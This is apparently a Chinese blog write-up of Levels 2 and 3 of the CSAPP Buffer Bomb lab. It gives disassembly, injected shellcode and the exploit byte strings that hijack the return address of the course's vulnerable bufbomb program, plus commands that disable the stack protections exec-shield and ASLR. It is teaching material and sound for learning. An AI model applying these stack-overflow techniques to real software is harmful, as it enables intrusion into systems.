CSAPP缓冲区溢出实验记录(二)

Level 2: firecracker(30分)

bufbomb中存在一个bang函数,

int global_value = 0;
void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
} else
    printf("Misfire: global_value = 0x%x\n", global_value);
  exit(0);
}

与前面两关类似,要求调用getbuf后返回到bang,并设置全局变量global_value为自己的cookie.

从这一关开始,需要在堆栈的buf中布置可执行的shellcode,经过实验,发现自己机器中Ubuntu 12.04.5的堆栈区不可执行(May sombody tell me?),由于没有找到关闭的方法,在虚拟机中安装Fedora 7,按如下方式关闭堆栈不可执行和随机化,继续进行实验。

sysctl –w kernel.randomize_va_space=0

sysctl –w kernel.exec-shield=0

在gdb中反汇编bang,获得存储全局变量global_value的地址为0x804aa60,bang函数的入口地址为0x804898c

[[email protected] buflab]# gdb -q ./bufbomb
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass bang
Dump of assembler code for function bang:
0x0804898c <bang+0>:    mov    0x804aa60,%eax ;将global_value赋给%eax
0x08048991 <bang+5>:    push   %ebp
0x08048992 <bang+6>:    mov    %esp,%ebp
0x08048994 <bang+8>:    sub    $0x8,%esp
0x08048997 <bang+11>:   cmp    0x804aa50,%eax ; 比较cookie与global_value
0x0804899d <bang+17>:   jne    0x80489c0 <bang+52>
0x0804899f <bang+19>:   add    $0xfffffff8,%esp
0x080489a2 <bang+22>:   push   %eax
0x080489a3 <bang+23>:   push   $0x80493e0
0x080489a8 <bang+28>:   call   0x8048748 <[email protected]>
0x080489ad <bang+33>:   add    $0xfffffff4,%esp
0x080489b0 <bang+36>:   push   $0x2
0x080489b2 <bang+38>:   call   0x8048c30 <validate>
0x080489b7 <bang+43>:   add    $0x20,%esp
0x080489ba <bang+46>:   jmp    0x80489d1 <bang+69>
0x080489bc <bang+48>:   lea    0x0(%esi),%esi
0x080489c0 <bang+52>:   add    $0xfffffff8,%esp
0x080489c3 <bang+55>:   push   %eax
0x080489c4 <bang+56>:   push   $0x8049405
0x080489c9 <bang+61>:   call   0x8048748 <[email protected]>
0x080489ce <bang+66>:   add    $0x10,%esp
0x080489d1 <bang+69>:   add    $0xfffffff4,%esp

接下来,需要在buf中布置设置全局变量和跳转到bang中的shellcode,并将ret设置成buf

在调试中获得buf

(gdb) disass getbuf
Dump of assembler code for function getbuf:
0x08048a44 <getbuf+0>:  push   %ebp
0x08048a45 <getbuf+1>:  mov    %esp,%ebp
0x08048a47 <getbuf+3>:  sub    $0x18,%esp
0x08048a4a <getbuf+6>:  add    $0xfffffff4,%esp
0x08048a4d <getbuf+9>:  lea    0xfffffff4(%ebp),%eax ;buf=%ebp-12
0x08048a50 <getbuf+12>: push   %eax
0x08048a51 <getbuf+13>: call   0x8048b50 <Gets>
0x08048a56 <getbuf+18>: mov    $0x1,%eax
0x08048a5b <getbuf+23>: mov    %ebp,%esp
0x08048a5d <getbuf+25>: pop    %ebp
0x08048a5e <getbuf+26>: ret    
End of assembler dump.

在地址0x08048a50处设置断点并运行,得知buf为0xbfffb0bc

(gdb) b *0x8048a50
Breakpoint 1 at 0x8048a50
(gdb) run -t heen
Starting program: /root/Desktop/buflab/bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
(gdb) p $ebp+0xfffffff4
$2 = (void *) 0xbfffb0bc

接下来编写shellcode,

[[email protected] buflab]# cat exploit3_shellcode.s
pushl $0x804898c ;bang入口地址
movl $0x5573b7cf, %eax 
movl %eax, 0x804aa60 ;设置cookie
ret
[[email protected] buflab]# gcc -c exploit3_shellcode.s
[[email protected] buflab]# objdump -d exploit3_shellcode.o
exploit3_shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   68 8c 89 04 08          push   $0x804898c
   5:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax
   a:   a3 60 aa 04 08          mov    %eax,0x804aa60
   f:   c3                      ret

最终获得shellcode的16进制机器码,为16字节,刚好够用。于是exploit string为shellcode加上buf

[[email protected] buflab]# cat exploit3.txt
68 8c 89 04 08 b8 cf b7 73 55 a3 60 aa 04 08 c3 bc b0 ff bf
[[email protected] buflab]# cat exploit3.txt|./sendstring|./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Bang!: You set global_value to 0x5573b7cf
NICE JOB!

Level 3: Dynamite (40分)

这一关要求getbuf返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时加test函数中的调用getbuf后的返回值为自己的cookie。test函数如下,

void test()
{
    int val;
    volatile int local = 0xdeadbeef;
    val = getbuf();
    /* Check for corrupted stack */
    if (local != 0xdeadbeef) {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    }
    else {
        printf("Dud: getbuf returned 0x%x\n", val);
    }
}

这要求我们的shellcode不能破坏getbuf调用函数test的堆栈状态,既需要返回到test中,也需要恢复SFP即test的栈基址EBP,而恢复栈基址有两种方法:一是在shellcode中设置,二是在exploit string中的合适位置填入SFP,这里我们选择了第二种方法。

反汇编test函数,获得getbuf调用的正常返回地址。

(gdb) disass test
Dump of assembler code for function test:
0x080489dc <test+0>:    push   %ebp
0x080489dd <test+1>:    mov    %esp,%ebp
0x080489df <test+3>:    sub    $0x18,%esp
0x080489e2 <test+6>:    movl   $0xdeadbeef,0xfffffffc(%ebp)
0x080489e9 <test+13>:   call   0x8048a44 <getbuf>
0x080489ee <test+18>:   mov    %eax,%edx ;0x080489ee为getbuf返回地址
0x080489f0 <test+20>:   mov    0xfffffffc(%ebp),%eax
0x080489f3 <test+23>:   cmp    $0xdeadbeef,%eax
0x080489f8 <test+28>:   je     0x8048a10 <test+52>
0x080489fa <test+30>:   add    $0xfffffff4,%esp
0x080489fd <test+33>:   push   $0x8049440
0x08048a02 <test+38>:   call   0x8048748 <[email protected]>
0x08048a07 <test+43>:   jmp    0x8048a40 <test+100>
0x08048a09 <test+45>:   lea    0x0(%esi),%esi
0x08048a10 <test+52>:   cmp    0x804aa50,%edx
0x08048a16 <test+58>:   jne    0x8048a32 <test+86>
0x08048a18 <test+60>:   add    $0xfffffff8,%esp
0x08048a1b <test+63>:   push   %edx
0x08048a1c <test+64>:   push   $0x804946a
0x08048a21 <test+69>:   call   0x8048748 <[email protected]>
0x08048a26 <test+74>:   add    $0xfffffff4,%esp
0x08048a29 <test+77>:   push   $0x3
---Type <return> to continue, or q <return> to quit---

在0x80489df中下断点,获得其栈基址的值为0xbfffb0e8

(gdb) b *0x80489df
Breakpoint 2 at 0x80489df
(gdb) run -t heen
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/buflab/bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Breakpoint 2, 0x080489df in test ()
(gdb) p $ebp
$3 = (void *) 0xbfffb0e8

编写shellcode,获得其16进制的机器码

[[email protected] buflab]# cat exploit4_shellcode.s
movl $0x5573b7cf, %eax
push $0x80489ee
ret
[[email protected] buflab]# gcc -c exploit4_shellcode.s
[[email protected] buflab]# objdump -d exploit4_shellcode.o
exploit4_shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax ;设置getbuf返回值为cookie
   5:   68 ee 89 04 08          push   $0x80489ee ;将getbuf返回地址压栈
   a:   c3                      ret

综合前面的信息,得到exploit string, 其中字节ff可为任意字节(除了回车符0a和空字符00)

[[email protected] buflab]# cat exploit4.txt 
b8 cf b7 73 55 68 ee 89 04 08 c3 ff e8 b0 ff bf bc b0 ff bf
[[email protected] buflab]# cat exploit4.txt|./sendstring|./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Boom!: getbuf returned 0x5573b7cf
NICE JOB!
时间: 2024-10-08 10:03:43

CSAPP缓冲区溢出实验记录(二)的相关文章

CSAPP缓冲区溢出实验记录(一)

题目说明: 开启漏洞之旅,从基础做起.近日,下载了CMU为<深入理解计算机系统>(CSAPP)一书教学配合的缓冲区溢出实验Buffer Bomb,重温了栈溢出的原理. 题目提供了一个有漏洞溢出的程序bufbomb,包括五个Level,在每个Level中要求返回指定的函数.修改全局变量.执行Shellcode等,难度逐渐递增.为保证实验者作业的唯一性,实验提供了程序makecookie,生成指定用户名的cookie,在实验中将会用到这个cookie值.在我的机器上, [email protect

CSAPP缓冲区溢出实验记录(三)

Level 5 Nitroglycerin (10 分) 题目说明:这一关是一道加分题.在bufbomb程序中还有一个'-n'的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn: int getbufn() {     char buf[512];     Gets(buf);     return 1; } 这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致ge

CSAPP缓冲区溢出攻击实验(下)

CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie.因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值.若修改了.bss和.text之间某些只读的段会引起操作系

CSAPP缓冲区溢出攻击实验(上)

CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响我们的实验. 1.实验工具 1.1 makecookie 后面实验中,五次"攻击"中有四次都是使你的cookie出如今它原本不存在的位置,所以我们首先要为自己产生一个cookie. 实验工具中的makecookie就是生成cookie用的.參数是你的

使用Linux进行缓冲区溢出实验的配置记录

在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等目的.但随着操作系统和编译器针对缓冲区溢出问题引入防护机制,初学者想要由简入繁的学习和实践缓冲区溢出的原理变得困难.在 Linux 环境下,用户可以通过设置编译和系统环境来去除某些防护措施,从而方便的完成某些简单的缓冲区溢出实验. 1.关闭SSP( Stack Smashing Protector

SEED缓冲区溢出实验笔记

缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程) 1. 准备工作 使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验. (1)内存地址随机化(Address Space Randomization):基于Lin

2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /*

小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0

Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势 实验对象:crossfire[多人在线RPG游戏] 运行平台:Kali i686 虚拟机[32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化本章操作,所以选用32位] 搭建实验环境 #linux中,游戏需安装带其ga

缓冲区溢出实验

话说 实验楼 网站上有"缓冲区溢出漏洞实验"的实验指导,是免费的,可以一览. seed虚拟机.程序源码如下: exploit1.c: /* exploit.c  */ /* A program that creates a file containing code for launching shell*/#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode